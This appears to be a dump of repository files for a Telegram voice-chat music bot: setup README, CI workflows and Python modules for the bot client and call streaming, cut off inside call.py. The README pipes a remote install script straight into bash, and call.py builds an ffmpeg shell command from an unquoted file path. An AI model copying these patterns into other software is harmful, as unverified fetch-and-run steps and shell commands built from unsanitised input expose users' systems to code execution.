[
  {
    "path": ".dockerignore",
    "content": ".env\n.cache\nlog.txt\n.DS_Store\n*.session\nraw_files/\ncache/\ndownloads/\n__pycache__/\n*.session-journal\n"
  },
  {
    "path": ".github/README.md",
    "content": "━━━━━━━━━━━━━━━━━━━━\n\n<h2 align=\"center\">\n    ──「⛦🦋 𝗕𝗥𝗔𝗡𝗗𝗥𝗗 ✘ 𝗠𝗨𝗦𝗜𝗖 🦋⛦」──\n</h2>\n\n<p align=\"center\">\n  <img src=\"https://telegra.ph/file/d02b81736a7e9519c6386.jpg\">\n</p>\n\n<p align=\"center\">\n<a href=\"https://github.com/WCGKING/stargazers\"><img src=\"https://img.shields.io/github/stars/WCGKING/BrandrdXMusic?color=black&logo=github&logoColor=black&style=for-the-badge\" alt=\"Stars\" /></a>\n<a href=\"https://github.com/WCGKING/BrandrdXMusic/network/members\"> <img src=\"https://img.shields.io/github/forks/WCGKING/BrandrdXMusic?color=black&logo=github&logoColor=black&style=for-the-badge\" /></a>\n<a href=\"https://github.com/WCGKING/BrandrdXMusic/blob/master/LICENSE\"> <img src=\"https://img.shields.io/badge/License-MIT-blueviolet?style=for-the-badge\" alt=\"License\" /> </a>\n<a href=\"https://www.python.org/\"> <img src=\"https://img.shields.io/badge/Written%20in-Python-orange?style=for-the-badge&logo=python\" alt=\"Python\" /> </a>\n<a href=\"https://github.com/WCGKING/BrandrdXMusic/commits/WCGKING\"> <img src=\"https://img.shields.io/github/last-commit/WCGKING/BrandrdXMusic?color=blue&logo=github&logoColor=green&style=for-the-badge\" /></a>\n</p>\n\n━━━━━━━━━━━━━━━━━━━━\n</h2>\n<img src=\"https://readme-typing-svg.herokuapp.com?color=FF0000&width=420&lines=♦𝙳𝙴𝙿𝙻𝙾𝚈+𝙾𝙽+𝙷𝙴𝚁𝙾𝙺𝚄♦;📡+𝙽𝙾+𝙷𝙴𝚁𝙾𝙺𝚄+𝙱𝙰𝙽+𝙸𝚂𝚂𝚄𝙴+𝙰𝙻𝚂𝙾+𝚅𝙿𝚂+𝙳𝙴𝙿𝙻𝙾𝚈+📍+𝙿𝚁𝙴𝚂𝙴𝙽𝚃;❤️+𝙿𝙾𝚆𝙴𝚁𝙳+𝙱𝚈+𝗕𝗥𝗔𝗡𝗗𝗘𝗗+𝗞𝗜𝗡𝗚🔥\">\n\n<p align=\"center\">\n  <img src=\"https://telegra.ph/file/925eade709484516c5fe3.jpg\">\n</p>\n\n<h3 align=\"center\">\n    ─「 ᴅᴇᴩʟᴏʏ ᴏɴ ʜᴇʀᴏᴋᴜ 」─\n</h3>\n\n<p align=\"center\"><a href=\"https://dashboard.heroku.com/new?template=https://github.com/WCGKING/BrandrdXMusic\"> <img src=\"https://img.shields.io/badge/Deploy%20On%20Heroku-black?style=for-the-badge&logo=heroku\" width=\"220\" height=\"38.45\"/></a></p>\n\n</p>\n\n**𝙏𝙀𝙎𝙏 𝘽𝙊𝙏 ➣ [˹ꜱʏꜱᴛᴜᴍ ꭙ ᴍᴜꜱɪᴄ˼𓆩𔘓⃭𓆪](https://t.me/Systumm_music_bot)**\n\n\n\n<img src=\"https://readme-typing-svg.herokuapp.com?color=FF0000&width=420&lines=⚠️𝗙𝗢𝗥𝗞+𝗧𝗛𝗜𝗦+𝗥𝗘𝗣𝗢+𝗙𝗜𝗥𝗦𝗧𝗟𝗬⚠️\">\n\n<h3 align=\"center\">\n    ─「 ᴅᴇᴩʟᴏʏ ᴏɴ ʟᴏᴄᴀʟ ʜᴏsᴛ/ ᴠᴘs 」─\n</h3>\n\n- Get your [Necessary Variables](https://github.com/WCGKING/BrandrdXMusic/blob/master/sample.env)\n---\n\n### 🔧 Quick Setup\n\n1. **Upgrade & Update:**\n   ```bash\n   sudo apt-get update && sudo apt-get upgrade -y\n   ```\n\n2. **Install Required Packages:**\n   ```bash\n   sudo apt-get install python3-pip ffmpeg -y\n   ```\n3. **Setting up PIP**\n   ```bash\n   sudo pip3 install -U pip\n   ```\n4. **Installing Node**\n   ```bash\n   curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.38.0/install.sh | bash && source ~/.bashrc && nvm install v18\n   ```\n5. **Clone the Repository**\n   ```bash\n   git clone https://github.com/WCGKING/BrandrdXMusic && cd BrandrdXMusic\n   ```\n6. **Install Requirements**\n   ```bash\n   pip3 install -U -r requirements.txt\n   ```\n7. **Create .env  with sample.env**\n   ```bash\n   cp sample.env .env\n   ```\n   - Edit .env with your vars\n8. **Editing Vars:**\n   ```bash\n   vi .env\n   ```\n   - Edit .env with your values.\n   - Press `I` button on keyboard to start editing.\n   - Press `Ctrl + C`  once you are done with editing vars and type `:wq` to save .env or `:qa` to exit editing.\n9. **Installing tmux**\n    ```bash\n    sudo apt install tmux -y && tmux\n    ```\n10. **Run the Bot**\n    ```bash\n    bash start\n━━━━━━━━━━━━━━━━━━━━\n\n<h3 align=\"center\">\n    ─「 sᴜᴩᴩᴏʀᴛ 」─\n</h3>\n\n<p align=\"center\">\n<a href=\"https://t.me/BRANDED_WORLD\"><img src=\"https://img.shields.io/badge/-Support%20Group-blue.svg?style=for-the-badge&logo=Telegram\"></a>\n</p>\n\n<p align=\"center\">\n<a href=\"https://t.me/BRANDED_PAID_CC\"><img src=\"https://img.shields.io/badge/-Support%20Channel-blue.svg?style=for-the-badge&logo=Telegram\"></a>\n</p>\n\n- <b> _sᴩᴇᴄɪᴀʟ ᴛʜᴀɴᴋs ᴛᴏ [ᴛᴇᴀᴍ ʙʀᴀɴᴅᴇᴅ](https://github.com/WCGKING) ғᴏʀ [ʙʀᴀɴᴅᴇᴅ ᴍᴜsɪᴄ ʙᴏᴛ](https://t.me/BRANDED_PAID_CC)_</b>\n"
  },
  {
    "path": ".github/SECURITY.md",
    "content": "# Security Policy\n\n## Supported Versions\n\nUse this section to tell people about which versions of your project are\ncurrently being supported with security updates.\n\n| Version | Supported          |\n| ------- | ------------------ |\n| 5.1.x   | :white_check_mark: |\n| 5.0.x   | :x:                |\n| 4.0.x   | :white_check_mark: |\n| < 4.0   | :x:                |\n\n## Reporting a Vulnerability\n\nUse this section to tell people how to report a vulnerability.\n\nTell them where to go, how often they can expect to get an update on a\nreported vulnerability, what to expect if the vulnerability is accepted or\ndeclined, etc.\n\n"
  },
  {
    "path": ".github/dependabot.yml",
    "content": "version: 2\nupdates:\n- package-ecosystem: pip\n  directory: \"/\"\n  schedule:\n    interval: daily\n    time: \"00:00\"\n    timezone: \"Asia/Kolkata\"\n  labels:\n    - \"dependencies\"\n  open-pull-requests-limit: 50\n\n"
  },
  {
    "path": ".github/workflows/codeql.yml",
    "content": "# For most projects, this workflow file will not need changing; you simply need\n# to commit it to your repository.\n#\n# You may wish to alter this file to override the set of languages analyzed,\n# or to provide custom queries or build logic.\n#\n# ******** NOTE ********\n# We have attempted to detect the languages in your repository. Please check\n# the `language` matrix defined below to confirm you have the correct set of\n# supported CodeQL languages.\n#\nname: \"CodeQL\"\n\non:\n  push:\n    branches: [ \"main\" ]\n  pull_request:\n    branches: [ \"main\" ]\n  schedule:\n    - cron: '25 1 * * 5'\n\njobs:\n  analyze:\n    name: Analyze\n    # Runner size impacts CodeQL analysis time. To learn more, please see:\n    #   - https://gh.io/recommended-hardware-resources-for-running-codeql\n    #   - https://gh.io/supported-runners-and-hardware-resources\n    #   - https://gh.io/using-larger-runners\n    # Consider using larger runners for possible analysis time improvements.\n    runs-on: ${{ (matrix.language == 'swift' && 'macos-latest') || 'ubuntu-latest' }}\n    timeout-minutes: ${{ (matrix.language == 'swift' && 120) || 360 }}\n    permissions:\n      actions: read\n      contents: read\n      security-events: write\n\n    strategy:\n      fail-fast: false\n      matrix:\n        language: [ 'python' ]\n        # CodeQL supports [ 'c-cpp', 'csharp', 'go', 'java-kotlin', 'javascript-typescript', 'python', 'ruby', 'swift' ]\n        # Use only 'java-kotlin' to analyze code written in Java, Kotlin or both\n        # Use only 'javascript-typescript' to analyze code written in JavaScript, TypeScript or both\n        # Learn more about CodeQL language support at https://aka.ms/codeql-docs/language-support\n\n    steps:\n    - name: Checkout repository\n      uses: actions/checkout@v3\n\n    # Initializes the CodeQL tools for scanning.\n    - name: Initialize CodeQL\n      uses: github/codeql-action/init@v2\n      with:\n        languages: ${{ matrix.language }}\n        # If you wish to specify custom queries, you can do so here or in a config file.\n        # By default, queries listed here will override any specified in a config file.\n        # Prefix the list here with \"+\" to use these queries and those in the config file.\n\n        # For more details on CodeQL's query packs, refer to: https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs\n        # queries: security-extended,security-and-quality\n\n\n    # Autobuild attempts to build any compiled languages (C/C++, C#, Go, Java, or Swift).\n    # If this step fails, then you should remove it and run the build manually (see below)\n    - name: Autobuild\n      uses: github/codeql-action/autobuild@v2\n\n    # ℹ️ Command-line programs to run using the OS shell.\n    # 📚 See https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun\n\n    #   If the Autobuild fails above, remove it and uncomment the following three lines.\n    #   modify them (or add more) to build your code if your project, please refer to the EXAMPLE below for guidance.\n\n    # - run: |\n    #     echo \"Run, Build Application using script\"\n    #     ./location_of_script_within_repo/buildscript.sh\n\n    - name: Perform CodeQL Analysis\n      uses: github/codeql-action/analyze@v2\n      with:\n        category: \"/language:${{matrix.language}}\"\n"
  },
  {
    "path": ".github/workflows/docker-image.yml",
    "content": "name: Docker Image CI\n\non:\n  push:\n    branches: [ \"main\" ]\n  pull_request:\n    branches: [ \"main\" ]\n\njobs:\n\n  build:\n\n    runs-on: ubuntu-latest\n\n    steps:\n    - uses: actions/checkout@v3\n    - name: Build the Docker image\n      run: docker build . --file Dockerfile --tag my-image-name:$(date +%s)\n"
  },
  {
    "path": ".gitignore",
    "content": ".env\n.cache\nlog.txt\n.DS_Store\n*.session\nraw_files/\ncache/\ndownloads/\n__pycache__/\n*.session-journal\n"
  },
  {
    "path": "BrandrdXMusic/__init__.py",
    "content": "from BrandrdXMusic.core.bot import Hotty\nfrom BrandrdXMusic.core.dir import dirr\nfrom BrandrdXMusic.core.git import git\nfrom BrandrdXMusic.core.userbot import Userbot\nfrom BrandrdXMusic.misc import dbb, heroku\n\nfrom SafoneAPI import SafoneAPI\nfrom .logging import LOGGER\n\ndirr()\ngit()\ndbb()\nheroku()\n\napp = Hotty()\nuserbot = Userbot()\napi = SafoneAPI()\n\n\nfrom .platforms import *\n\nApple = AppleAPI()\nCarbon = CarbonAPI()\nSoundCloud = SoundAPI()\nSpotify = SpotifyAPI()\nResso = RessoAPI()\nTelegram = TeleAPI()\nYouTube = YouTubeAPI()\n\nAPP = \"Systumm_music_bot\"  # connect music api key \"Dont change it\"\n"
  },
  {
    "path": "BrandrdXMusic/__main__.py",
    "content": "import asyncio\nimport importlib\nfrom sys import argv\nfrom pyrogram import idle\nfrom pytgcalls.exceptions import NoActiveGroupCall\n\nimport config\nfrom BrandrdXMusic import LOGGER, app, userbot\nfrom BrandrdXMusic.core.call import Hotty\nfrom BrandrdXMusic.misc import sudo\nfrom BrandrdXMusic.plugins import ALL_MODULES\nfrom BrandrdXMusic.utils.database import get_banned_users, get_gbanned\nfrom config import BANNED_USERS\n\n\nasync def init():\n    if (\n        not config.STRING1\n        and not config.STRING2\n        and not config.STRING3\n        and not config.STRING4\n        and not config.STRING5\n    ):\n        LOGGER(__name__).error(\"Assistant client variables not defined, exiting...\")\n        exit()\n    await sudo()\n    try:\n        users = await get_gbanned()\n        for user_id in users:\n            BANNED_USERS.add(user_id)\n        users = await get_banned_users()\n        for user_id in users:\n            BANNED_USERS.add(user_id)\n    except:\n        pass\n    await app.start()\n    for all_module in ALL_MODULES:\n        importlib.import_module(\"BrandrdXMusic.plugins\" + all_module)\n    LOGGER(\"BrandrdXMusic.plugins\").info(\"Successfully Imported Modules...\")\n    await userbot.start()\n    await Hotty.start()\n    try:\n        await Hotty.stream_call(\"https://graph.org/file/e999c40cb700e7c684b75.mp4\")\n    except NoActiveGroupCall:\n        LOGGER(\"BrandrdXMusic\").error(\n            \"Please turn on the videochat of your log group\\channel.\\n\\nStopping Bot...\"\n        )\n        exit()\n    except:\n        pass\n    await Hotty.decorators()\n    LOGGER(\"BrandrdXMusic\").info(\n        \"ᴅʀᴏᴘ ʏᴏᴜʀ ɢɪʀʟꜰʀɪᴇɴᴅ'ꜱ ɴᴜᴍʙᴇʀ ᴀᴛ @BRANDED_PAID_CC ᴊᴏɪɴ @BRANDRD_BOT , @BRANDED_WORLD ꜰᴏʀ ᴀɴʏ ɪꜱꜱᴜᴇꜱ\"\n    )\n    await idle()\n    await app.stop()\n    await userbot.stop()\n    LOGGER(\"BrandrdXMusic\").info(\"Stopping Brandrd Music Bot...\")\n\n\nif __name__ == \"__main__\":\n    asyncio.get_event_loop().run_until_complete(init())\n"
  },
  {
    "path": "BrandrdXMusic/assets/__init__.py",
    "content": "\n"
  },
  {
    "path": "BrandrdXMusic/core/bot.py",
    "content": "from pyrogram import Client, errors\nfrom pyrogram.enums import ChatMemberStatus, ParseMode\n\nimport config\n\nfrom ..logging import LOGGER\n\n\nclass Hotty(Client):\n    def __init__(self):\n        LOGGER(__name__).info(f\"Starting Bot...\")\n        super().__init__(\n            name=\"BrandrdXMusic\",\n            api_id=config.API_ID,\n            api_hash=config.API_HASH,\n            bot_token=config.BOT_TOKEN,\n            in_memory=True,\n            max_concurrent_transmissions=7,\n        )\n\n    async def start(self):\n        await super().start()\n        self.id = self.me.id\n        self.name = self.me.first_name + \" \" + (self.me.last_name or \"\")\n        self.username = self.me.username\n        self.mention = self.me.mention\n\n        try:\n            await self.send_message(\n                chat_id=config.LOGGER_ID,\n                text=f\"<u><b>» {self.mention} ʙᴏᴛ sᴛᴀʀᴛᴇᴅ :</b><u>\\n\\nɪᴅ : <code>{self.id}</code>\\nɴᴀᴍᴇ : {self.name}\\nᴜsᴇʀɴᴀᴍᴇ : @{self.username}\",\n            )\n        except (errors.ChannelInvalid, errors.PeerIdInvalid):\n            LOGGER(__name__).error(\n                \"Bot has failed to access the log group/channel. Make sure that you have added your bot to your log group/channel.\"\n            )\n\n        except Exception as ex:\n            LOGGER(__name__).error(\n                f\"Bot has failed to access the log group/channel.\\n  Reason : {type(ex).__name__}.\"\n            )\n\n        a = await self.get_chat_member(config.LOGGER_ID, self.id)\n        if a.status != ChatMemberStatus.ADMINISTRATOR:\n            LOGGER(__name__).error(\n                \"Please promote your bot as an admin in your log group/channel.\"\n            )\n\n        LOGGER(__name__).info(f\"Music Bot Started as {self.name}\")\n\n    async def stop(self):\n        await super().stop()\n"
  },
  {
    "path": "BrandrdXMusic/core/call.py",
    "content": "import asyncio\nimport os\nfrom datetime import datetime, timedelta\nfrom typing import Union\n\nfrom pyrogram import Client\nfrom pyrogram.types import InlineKeyboardMarkup\nfrom ntgcalls import TelegramServerError\nfrom pytgcalls import PyTgCalls\nfrom pytgcalls.exceptions import (\n    AlreadyJoinedError,\n    NoActiveGroupCall,\n)\nfrom pytgcalls.types import (\n    MediaStream,\n    AudioQuality,\n    VideoQuality,\n    Update,\n)\nfrom pytgcalls.types.stream import StreamAudioEnded\n\nimport config\nfrom BrandrdXMusic import LOGGER, YouTube, app\nfrom BrandrdXMusic.misc import db\nfrom BrandrdXMusic.utils.database import (\n    add_active_chat,\n    add_active_video_chat,\n    get_lang,\n    get_loop,\n    group_assistant,\n    is_autoend,\n    music_on,\n    remove_active_chat,\n    remove_active_video_chat,\n    set_loop,\n)\nfrom BrandrdXMusic.utils.exceptions import AssistantErr\nfrom BrandrdXMusic.utils.formatters import check_duration, seconds_to_min, speed_converter\nfrom BrandrdXMusic.utils.inline.play import stream_markup\nfrom BrandrdXMusic.utils.stream.autoclear import auto_clean\nfrom BrandrdXMusic.utils.thumbnails import get_thumb\nfrom strings import get_string\n\nautoend = {}\ncounter = {}\nloop = asyncio.get_event_loop_policy().get_event_loop()\n\n\nasync def _clear_(chat_id):\n    db[chat_id] = []\n    await remove_active_video_chat(chat_id)\n    await remove_active_chat(chat_id)\n\n\nclass Call(PyTgCalls):\n    def __init__(self):\n        self.userbot1 = Client(\n            name=\"BrandrdXMusic1\",\n            api_id=config.API_ID,\n            api_hash=config.API_HASH,\n            session_string=str(config.STRING1),\n        )\n        self.one = PyTgCalls(\n            self.userbot1,\n            cache_duration=100,\n        )\n        self.userbot2 = Client(\n            name=\"BrandrdXMusic2\",\n            api_id=config.API_ID,\n            api_hash=config.API_HASH,\n            session_string=str(config.STRING2),\n        )\n        self.two = PyTgCalls(\n            self.userbot2,\n            cache_duration=100,\n        )\n        self.userbot3 = Client(\n            name=\"BrandrdXMusic3\",\n            api_id=config.API_ID,\n            api_hash=config.API_HASH,\n            session_string=str(config.STRING3),\n        )\n        self.three = PyTgCalls(\n            self.userbot3,\n            cache_duration=100,\n        )\n        self.userbot4 = Client(\n            name=\"BrandrdXMusic4\",\n            api_id=config.API_ID,\n            api_hash=config.API_HASH,\n            session_string=str(config.STRING4),\n        )\n        self.four = PyTgCalls(\n            self.userbot4,\n            cache_duration=100,\n        )\n        self.userbot5 = Client(\n            name=\"BrandrdXMusic5\",\n            api_id=config.API_ID,\n            api_hash=config.API_HASH,\n            session_string=str(config.STRING5),\n        )\n        self.five = PyTgCalls(\n            self.userbot5,\n            cache_duration=100,\n        )\n\n    async def pause_stream(self, chat_id: int):\n        assistant = await group_assistant(self, chat_id)\n        await assistant.pause_stream(chat_id)\n\n    async def mute_stream(self, chat_id: int):\n        assistant = await group_assistant(self, chat_id)\n        await assistant.mute_stream(chat_id)\n\n    async def unmute_stream(self, chat_id: int):\n        assistant = await group_assistant(self, chat_id)\n        await assistant.unmute_stream(chat_id)\n\n    async def get_participant(self, chat_id: int):\n        assistant = await group_assistant(self, chat_id)\n        participant = await assistant.get_participants(chat_id)\n        return participant\n\n    async def resume_stream(self, chat_id: int):\n        assistant = await group_assistant(self, chat_id)\n        await assistant.resume_stream(chat_id)\n\n    async def stop_stream(self, chat_id: int):\n        assistant = await group_assistant(self, chat_id)\n        try:\n            await _clear_(chat_id)\n            await assistant.leave_group_call(chat_id)\n        except:\n            pass\n\n    async def stop_stream_force(self, chat_id: int):\n        try:\n            if config.STRING1:\n                await self.one.leave_group_call(chat_id)\n        except:\n            pass\n        try:\n            if config.STRING2:\n                await self.two.leave_group_call(chat_id)\n        except:\n            pass\n        try:\n            if config.STRING3:\n                await self.three.leave_group_call(chat_id)\n        except:\n            pass\n        try:\n            if config.STRING4:\n                await self.four.leave_group_call(chat_id)\n        except:\n            pass\n        try:\n            if config.STRING5:\n                await self.five.leave_group_call(chat_id)\n        except:\n            pass\n        try:\n            await _clear_(chat_id)\n        except:\n            pass\n\n    async def speedup_stream(self, chat_id: int, file_path, speed, playing):\n        assistant = await group_assistant(self, chat_id)\n        if str(speed) != \"1.0\":\n            base = os.path.basename(file_path)\n            chatdir = os.path.join(os.getcwd(), \"playback\", str(speed))\n            if not os.path.isdir(chatdir):\n                os.makedirs(chatdir)\n            out = os.path.join(chatdir, base)\n            if not os.path.isfile(out):\n                if str(speed) == \"0.5\":\n                    vs = 2.0\n                if str(speed) == \"0.75\":\n                    vs = 1.35\n                if str(speed) == \"1.5\":\n                    vs = 0.68\n                if str(speed) == \"2.0\":\n                    vs = 0.5\n                proc = await asyncio.create_subprocess_shell(\n                    cmd=(\n                        \"ffmpeg \"\n                        \"-i \"\n                        f\"{file_path} \"\n                        \"-filter:v \"\n                        f\"setpts={vs}*PTS \"\n                        \"-filter:a \"\n                        f\"atempo={speed} \"\n                        f\"{out}\"\n                    ),\n                    stdin=asyncio.subprocess.PIPE,\n                    stderr=asyncio.subprocess.PIPE,\n                )\n                await proc.communicate()\n        else:\n            out = file_path\n        dur = await loop.run_in_executor(None, check_duration, out)\n        dur = int(dur)\n        played, con_seconds = speed_converter(playing[0][\"played\"], speed)\n        duration = seconds_to_min(dur)\n        stream = (\n            MediaStream(\n                out,\n                audio_parameters=AudioQuality.HIGH,\n                video_parameters=VideoQuality.SD_480p,\n                ffmpeg_parameters=f\"-ss {played} -to {duration}\",\n            )\n            if playing[0][\"streamtype\"] == \"video\"\n            else MediaStream(\n                out,\n                audio_parameters=AudioQuality.HIGH,\n                ffmpeg_parameters=f\"-ss {played} -to {duration}\",\n                video_flags=MediaStream.IGNORE,\n            )\n        )\n        if str(db[chat_id][0][\"file\"]) == str(file_path):\n            await assistant.change_stream(chat_id, stream)\n        else:\n            raise AssistantErr(\"Umm\")\n        if str(db[chat_id][0][\"file\"]) == str(file_path):\n            exis = (playing[0]).get(\"old_dur\")\n            if not exis:\n                db[chat_id][0][\"old_dur\"] = db[chat_id][0][\"dur\"]\n                db[chat_id][0][\"old_second\"] = db[chat_id][0][\"seconds\"]\n            db[chat_id][0][\"played\"] = con_seconds\n            db[chat_id][0][\"dur\"] = duration\n            db[chat_id][0][\"seconds\"] = dur\n            db[chat_id][0][\"speed_path\"] = out\n            db[chat_id][0][\"speed\"] = speed\n\n    async def force_stop_stream(self, chat_id: int):\n        assistant = await group_assistant(self, chat_id)\n        try:\n            check = db.get(chat_id)\n            check.pop(0)\n        except:\n            pass\n        await remove_active_video_chat(chat_id)\n        await remove_active_chat(chat_id)\n        try:\n            await assistant.leave_group_call(chat_id)\n        except:\n            pass\n\n    async def skip_stream(\n        self,\n        chat_id: int,\n        link: str,\n        video: Union[bool, str] = None,\n        image: Union[bool, str] = None,\n    ):\n        assistant = await group_assistant(self, chat_id)\n        if video:\n            stream = MediaStream(\n                link,\n                audio_parameters=AudioQuality.HIGH,\n                video_parameters=VideoQuality.SD_480p,\n            )\n        else:\n            stream = MediaStream(\n                link,\n                audio_parameters=AudioQuality.HIGH,\n                video_flags=MediaStream.IGNORE,\n            )\n        await assistant.change_stream(\n            chat_id,\n            stream,\n        )\n\n    async def seek_stream(self, chat_id, file_path, to_seek, duration, mode):\n        assistant = await group_assistant(self, chat_id)\n        stream = (\n            MediaStream(\n                file_path,\n                audio_parameters=AudioQuality.HIGH,\n                video_parameters=VideoQuality.SD_480p,\n                ffmpeg_parameters=f\"-ss {to_seek} -to {duration}\",\n            )\n            if mode == \"video\"\n            else MediaStream(\n                file_path,\n                audio_parameters=AudioQuality.HIGH,\n                ffmpeg_parameters=f\"-ss {to_seek} -to {duration}\",\n                video_flags=MediaStream.IGNORE,\n            )\n        )\n        await assistant.change_stream(chat_id, stream)\n\n    async def stream_call(self, link):\n        assistant = await group_assistant(self, config.LOGGER_ID)\n        await assistant.join_group_call(\n            config.LOGGER_ID,\n            MediaStream(link),\n        )\n        await asyncio.sleep(0.2)\n        await assistant.leave_group_call(config.LOGGER_ID)\n\n    async def join_call(\n        self,\n        chat_id: int,\n        original_chat_id: int,\n        link,\n        video: Union[bool, str] = None,\n        image: Union[bool, str] = None,\n    ):\n        assistant = await group_assistant(self, chat_id)\n        language = await get_lang(chat_id)\n        _ = get_string(language)\n        if video:\n            stream = MediaStream(\n                link,\n                audio_parameters=AudioQuality.HIGH,\n                video_parameters=VideoQuality.SD_480p,\n            )\n        else:\n            stream = (\n                MediaStream(\n                    link,\n                    audio_parameters=AudioQuality.HIGH,\n                    video_parameters=VideoQuality.SD_480p,\n                )\n                if video\n                else MediaStream(\n                    link,\n                    audio_parameters=AudioQuality.HIGH,\n                    video_flags=MediaStream.IGNORE,\n                )\n            )\n        try:\n            await assistant.join_group_call(\n                chat_id,\n                stream,\n            )\n        except NoActiveGroupCall:\n            raise AssistantErr(_[\"call_8\"])\n        except AlreadyJoinedError:\n            raise AssistantErr(_[\"call_9\"])\n        except TelegramServerError:\n            raise AssistantErr(_[\"call_10\"])\n        except Exception as e:\n            if \"phone.CreateGroupCall\" in str(e):\n                raise AssistantErr(_[\"call_8\"])\n        await add_active_chat(chat_id)\n        await music_on(chat_id)\n        if video:\n            await add_active_video_chat(chat_id)\n        if await is_autoend():\n            counter[chat_id] = {}\n            users = len(await assistant.get_participants(chat_id))\n            if users == 1:\n                autoend[chat_id] = datetime.now() + timedelta(minutes=1)\n\n    async def change_stream(self, client, chat_id):\n        check = db.get(chat_id)\n        popped = None\n        loop = await get_loop(chat_id)\n        try:\n            if loop == 0:\n                popped = check.pop(0)\n            else:\n                loop = loop - 1\n                await set_loop(chat_id, loop)\n            await auto_clean(popped)\n            if not check:\n                await _clear_(chat_id)\n                return await client.leave_group_call(chat_id)\n        except:\n            try:\n                await _clear_(chat_id)\n                return await client.leave_group_call(chat_id)\n            except:\n                return\n        else:\n            queued = check[0][\"file\"]\n            language = await get_lang(chat_id)\n            _ = get_string(language)\n            title = (check[0][\"title\"]).title()\n            user = check[0][\"by\"]\n            original_chat_id = check[0][\"chat_id\"]\n            streamtype = check[0][\"streamtype\"]\n            videoid = check[0][\"vidid\"]\n            db[chat_id][0][\"played\"] = 0\n            if exis := (check[0]).get(\"old_dur\"):\n                db[chat_id][0][\"dur\"] = exis\n                db[chat_id][0][\"seconds\"] = check[0][\"old_second\"]\n                db[chat_id][0][\"speed_path\"] = None\n                db[chat_id][0][\"speed\"] = 1.0\n            video = str(streamtype) == \"video\"\n            if \"live_\" in queued:\n                n, link = await YouTube.video(videoid, True)\n                if n == 0:\n                    return await app.send_message(\n                        original_chat_id,\n                        text=_[\"call_6\"],\n                    )\n                if video:\n                    stream = MediaStream(\n                        link,\n                        audio_parameters=AudioQuality.HIGH,\n                        video_parameters=VideoQuality.SD_480p,\n                    )\n                else:\n                    stream = MediaStream(\n                        link,\n                        audio_parameters=AudioQuality.HIGH,\n                        video_flags=MediaStream.IGNORE,\n                    )\n                try:\n                    await client.change_stream(chat_id, stream)\n                except Exception:\n                    return await app.send_message(\n                        original_chat_id,\n                        text=_[\"call_6\"],\n                    )\n                img = await get_thumb(videoid)\n                button = stream_markup2(_, chat_id)\n                run = await app.send_photo(\n                    chat_id=original_chat_id,\n                    photo=img,\n                    caption=_[\"stream_1\"].format(\n                        f\"https://t.me/{app.username}?start=info_{videoid}\",\n                        title[:23],\n                        check[0][\"dur\"],\n                        user,\n                    ),\n                    reply_markup=InlineKeyboardMarkup(button),\n                )\n                db[chat_id][0][\"mystic\"] = run\n                db[chat_id][0][\"markup\"] = \"tg\"\n            elif \"vid_\" in queued:\n                mystic = await app.send_message(original_chat_id, _[\"call_7\"])\n                try:\n                    file_path, direct = await YouTube.download(\n                        videoid,\n                        mystic,\n                        videoid=True,\n                        video=str(streamtype) == \"video\",\n                    )\n                except:\n                    return await mystic.edit_text(\n                        _[\"call_6\"], disable_web_page_preview=True\n                    )\n                if video:\n                    stream = MediaStream(\n                        file_path,\n                        audio_parameters=AudioQuality.HIGH,\n                        video_parameters=VideoQuality.SD_480p,\n                    )\n                else:\n                    stream = MediaStream(\n                        file_path,\n                        audio_parameters=AudioQuality.HIGH,\n                        video_flags=MediaStream.IGNORE,\n                    )\n                try:\n                    await client.change_stream(chat_id, stream)\n                except:\n                    return await app.send_message(\n                        original_chat_id,\n                        text=_[\"call_6\"],\n                    )\n                img = await get_thumb(videoid)\n                button = stream_markup(_, videoid, chat_id)\n                await mystic.delete()\n                run = await app.send_photo(\n                    chat_id=original_chat_id,\n                    photo=img,\n                    caption=_[\"stream_1\"].format(\n                        f\"https://t.me/{app.username}?start=info_{videoid}\",\n                        title[:23],\n                        check[0][\"dur\"],\n                        user,\n                    ),\n                    reply_markup=InlineKeyboardMarkup(button),\n                )\n                db[chat_id][0][\"mystic\"] = run\n                db[chat_id][0][\"markup\"] = \"stream\"\n            elif \"index_\" in queued:\n                stream = (\n                    MediaStream(\n                        videoid,\n                        audio_parameters=AudioQuality.HIGH,\n                        video_parameters=VideoQuality.SD_480p,\n                    )\n                    if str(streamtype) == \"video\"\n                    else MediaStream(\n                        videoid,\n                        audio_parameters=AudioQuality.HIGH,\n                        video_flags=MediaStream.IGNORE,\n                    )\n                )\n                try:\n                    await client.change_stream(chat_id, stream)\n                except:\n                    return await app.send_message(\n                        original_chat_id,\n                        text=_[\"call_6\"],\n                    )\n                button = stream_markup2(_, chat_id)\n                run = await app.send_photo(\n                    chat_id=original_chat_id,\n                    photo=config.STREAM_IMG_URL,\n                    caption=_[\"stream_2\"].format(user),\n                    reply_markup=InlineKeyboardMarkup(button),\n                )\n                db[chat_id][0][\"mystic\"] = run\n                db[chat_id][0][\"markup\"] = \"tg\"\n            else:\n                if video:\n                    stream = MediaStream(\n                        queued,\n                        audio_parameters=AudioQuality.HIGH,\n                        video_parameters=VideoQuality.SD_480p,\n                    )\n                else:\n                    stream = MediaStream(\n                        queued,\n                        audio_parameters=AudioQuality.HIGH,\n                        video_flags=MediaStream.IGNORE,\n                    )\n                try:\n                    await client.change_stream(chat_id, stream)\n                except:\n                    return await app.send_message(\n                        original_chat_id,\n                        text=_[\"call_6\"],\n                    )\n                if videoid == \"telegram\":\n                    button = stream_markup2(_, chat_id)\n                    run = await app.send_photo(\n                        chat_id=original_chat_id,\n                        photo=(\n                            config.TELEGRAM_AUDIO_URL\n                            if str(streamtype) == \"audio\"\n                            else config.TELEGRAM_VIDEO_URL\n                        ),\n                        caption=_[\"stream_1\"].format(\n                            config.SUPPORT_CHAT, title[:23], check[0][\"dur\"], user\n                        ),\n                        reply_markup=InlineKeyboardMarkup(button),\n                    )\n                    db[chat_id][0][\"mystic\"] = run\n                    db[chat_id][0][\"markup\"] = \"tg\"\n                elif videoid == \"soundcloud\":\n                    button = stream_markup2(_, chat_id)\n                    run = await app.send_photo(\n                        chat_id=original_chat_id,\n                        photo=config.SOUNCLOUD_IMG_URL,\n                        caption=_[\"stream_1\"].format(\n                            config.SUPPORT_CHAT, title[:23], check[0][\"dur\"], user\n                        ),\n                        reply_markup=InlineKeyboardMarkup(button),\n                    )\n                    